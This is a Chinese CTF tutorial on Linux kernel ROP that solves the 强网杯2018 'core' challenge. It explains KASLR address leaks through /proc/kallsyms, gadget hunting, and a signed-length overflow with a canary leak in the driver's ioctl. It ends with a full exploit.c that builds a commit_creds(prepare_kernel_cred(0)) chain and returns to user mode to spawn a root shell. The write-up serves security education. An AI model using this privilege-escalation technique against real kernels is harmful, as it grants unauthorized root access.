Linux kernel rop根glibc下的ROP思路是差不多的,当我们学习掌握了glibc下的ROP,再来看kernel的ROP攻击,就很容易理解了。
与用户态同样的是,内核有也类似于PIE的机制,加kaslr,在启动系统时的脚本里可以指定开启或关闭kaslr。
1 2 3 4 5 6 7 8
| qemu-system-x86_64 \ -m 256M \ -kernel ./bzImage \ -initrd ./core.cpio \ -append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" \ -s \ -netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \ -nographic \
|
因此,对于开启了kaslr选项的系统,我们同样需要先泄露地址,然后计算出基址。在linux下,有一个文件,记录着内核各函数的地址,它就是**[/proc/kallsyms文件]{.mark}**,因此,我们只要读取这个文件,就能计算出需要的函数、gadgets的地址。系统一般会限制普通用户读取这个文件。我们做个试验。
在普通用户下,cat /proc/kallsyms,发现地址全部都是0。
在root用户下,cat /proc/kallsyms,能够得到地址。
因此,如果没有提供其他方法,有时我们还需要像glibc下那样,泄露地址。
内核ROP的基本操作
在内核态下,执行commit_creds(prepare_kernel_cred(0)),使得进程的权限提升为root权限。
回到用户态,开启一个shell,这个shell则拥有root权限
寻找gadgets
我们仍然可以用ROPgadget工具来寻找gadgets,有些gadgets找不到的话,可以用IDA搜索。如果我们有vmlinux文件,则直接用工具在这里面找,如果我们只有bzImage文件,则需要用extract-vmlinux https://github.com/torvalds/linux/blob/master/scripts/extract-vmlinux工具来解压出vmlinux文件,不过这个解压后的vmlinux是去符号的二进制文件,函数名都去掉了。
我们得到的gadgets地址,如果开启了kaslr,则这个就不是绝对地址,那么就要在程序运行时,通过泄露或其他方法,计算出运行时的地址。
调试
使用gdb调试,首先是gdb –q vmlinux,这样能够进入gdb,并且加载vmlinux的符号。然后,找到我们需要的ko文件,还需要找到ko文件加载的地址,
进入系统,输入lsmod,发现地址为0,这是因为在普通用户态下,不能查看这个地址。
在本地测试时,我们可以修改启动脚本,使得系统一开始就是root用户,然后我们可以查看模块的地址
得到地址后,我们就可以在gdb里输入
1 2
| add-symbol-file core.ko 0xffffffffc020a000
|
在qemu的启动脚本里,要事先开启gdb选项,这样,我们在gdb里使用target remote:xxxx即可连接到系统,进行调试了。
我们以一道题来加深一下理解。
强网杯2018 core
首先,我们解包core.cpio,修改启动脚本,干掉定时关机的命令,然后,我们看到脚本里有这个操作
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| #!/bin/sh mount -t proc proc /proc mount -t sysfs sysfs /sys mount -t devtmpfs none /dev /sbin/mdev -s mkdir -p /dev/pts mount -vt devpts -o gid=4,mode=620 none /dev/pts chmod 666 /dev/ptmx cat /proc/kallsyms > /tmp/kallsyms echo 1 > /proc/sys/kernel/kptr_restrict ifconfig eth0 up udhcpc -i eth0 ifconfig eth0 10.0.2.15 netmask 255.255.255.0 route add default gw 10.0.2.2 insmod /core.ko setsid /bin/cttyhack setuidgid 1000 /bin/sh echo 'sh end!\n' umount /proc umount /sys poweroff -d 0 -f
|
我们看到,kallsyms被保存了一份到/tmp目录下,而tmp目录下的文件我们普通用户也是可以读取的,于是,这就解决了地址的问题,我们有了地址了,那么就能计算出需要的东西的地址了。
接下来,我们来分析一下驱动程序,ioctl函数定义了几个交互选项。
漏洞点在这里
[a1是有符号数,我们只要传负数,即可绕过溢出检测]{.mark},然后,后面qmemcpy的长度为a1的低2字节。我们可以在a1的低2字节写上长度,然后在a1的其他字节全部设置为0xF,这样,就能绕过检查,也能控制溢出长度了。v4是canary,和glibc下一样,我们需要想办法泄露canary。我们再看看其他函数
off是我们能够控制的,于是,我们只要控制好off,就能把v7的值读出来。
在rop里,我们得到root权限后,就应该返回用户态执行shell,而**[返回用户态用到swapgs和iretq这两条指令,在gadgets里能够找到。Iretq会恢复一系列的用户态寄存器值,因此,在程序一开始,我们就先利用内嵌汇编将几个重要的寄存器值保存到程序的变量里。]{.mark}**Iretq的时候再放到rop里。
需要的东西都具备了,那么我们就能够编写exploit.c程序来提权了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125
| #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <sys/ioctl.h> size_t raw_vmlinux_base = 0xFFFFFFFF81000000; size_t commit_creds = 0xFFFFFFFF8109C8E0; size_t prepare_kernel_cred = 0xFFFFFFFF8109CCE0;
size_t swapgs = 0xffffffff81a012da;
size_t iretq = 0xFFFFFFFF81050AC2; size_t pop_rdi = 0xffffffff81000b2f;
size_t mov_rdi_rax_jmp_rcx = 0xffffffff811ae978; size_t pop_rcx = 0xffffffff81021e53; size_t user_cs,user_ss,user_flags,user_sp; void saveUserState() { __asm__("mov %cs,user_cs;" "mov %ss,user_ss;" "mov %rsp,user_sp;" "pushf;" "pop user_flags;" ); puts("user states have been saved!!"); }
void init_address() { FILE *f = fopen("/tmp/kallsyms","r"); char line[0x100]; char *pos; if (!f) { printf("open symbols file error!!\n"); exit(-1); } while (!feof(f) && !ferror(f)) { fgets(line, sizeof(line), f); if ((pos = strstr(line,"commit_creds"))) { size_t commit_creds_addr = strtoull(line,pos-3,16); size_t vmlinux_base = commit_creds_addr - commit_creds + raw_vmlinux_base; commit_creds = commit_creds_addr; prepare_kernel_cred += vmlinux_base - raw_vmlinux_base; swapgs += vmlinux_base - raw_vmlinux_base; iretq += vmlinux_base - raw_vmlinux_base; pop_rdi += vmlinux_base - raw_vmlinux_base; mov_rdi_rax_jmp_rcx += vmlinux_base - raw_vmlinux_base; pop_rcx += vmlinux_base - raw_vmlinux_base; printf("vmlinux_base=0x%lx\n",vmlinux_base); printf("commit_creds_addr=0x%lx\n",commit_creds_addr); printf("prepare_kernel_cred_addr=0x%lx\n",prepare_kernel_cred); printf("swapgs_addr=0x%lx\n",swapgs); printf("iretq_addr=0x%lx\n",iretq); printf("pop_rdi_addr=0x%lx\n",pop_rdi); printf("mov_rdi_rax_jmp_rcx_addr=0x%lx\n",mov_rdi_rax_jmp_rcx); printf("pop_rcx_addr=0x%lx\n",pop_rcx); break; } } fclose(f); } void rootShell() { if (getuid() == 0) { printf("[+]rooted!!\n"); system("/bin/sh"); } else { printf("[+]root fail!!\n"); } } int main() { saveUserState(); init_address(); int fd = open("/proc/core",O_RDWR); if (fd < 0) { printf("open file error!!\n"); exit(-1); } ioctl(fd,0x6677889C,0x40); size_t ans_buf[8] = {0}; ioctl(fd,0x6677889B,ans_buf); size_t canary = ans_buf[0]; printf("canary=0x%lx\n",canary); size_t rop[0x100]; int i = 8; rop[i++] = canary; rop[i++] = 0; rop[i++] = pop_rdi; rop[i++] = 0; rop[i++] = prepare_kernel_cred; rop[i++] = pop_rcx; rop[i++] = commit_creds; rop[i++] = mov_rdi_rax_jmp_rcx; rop[i++] = swapgs; rop[i++] = 0; rop[i++] = iretq; rop[i++] = (size_t)rootShell; rop[i++] = user_cs; rop[i++] = user_flags; rop[i++] = user_sp; rop[i++] = user_ss; write(fd,rop,0x100); ioctl(fd,0x6677889A,0x100 | 0xFFFFFFFFFFFF0000); return 0; }
|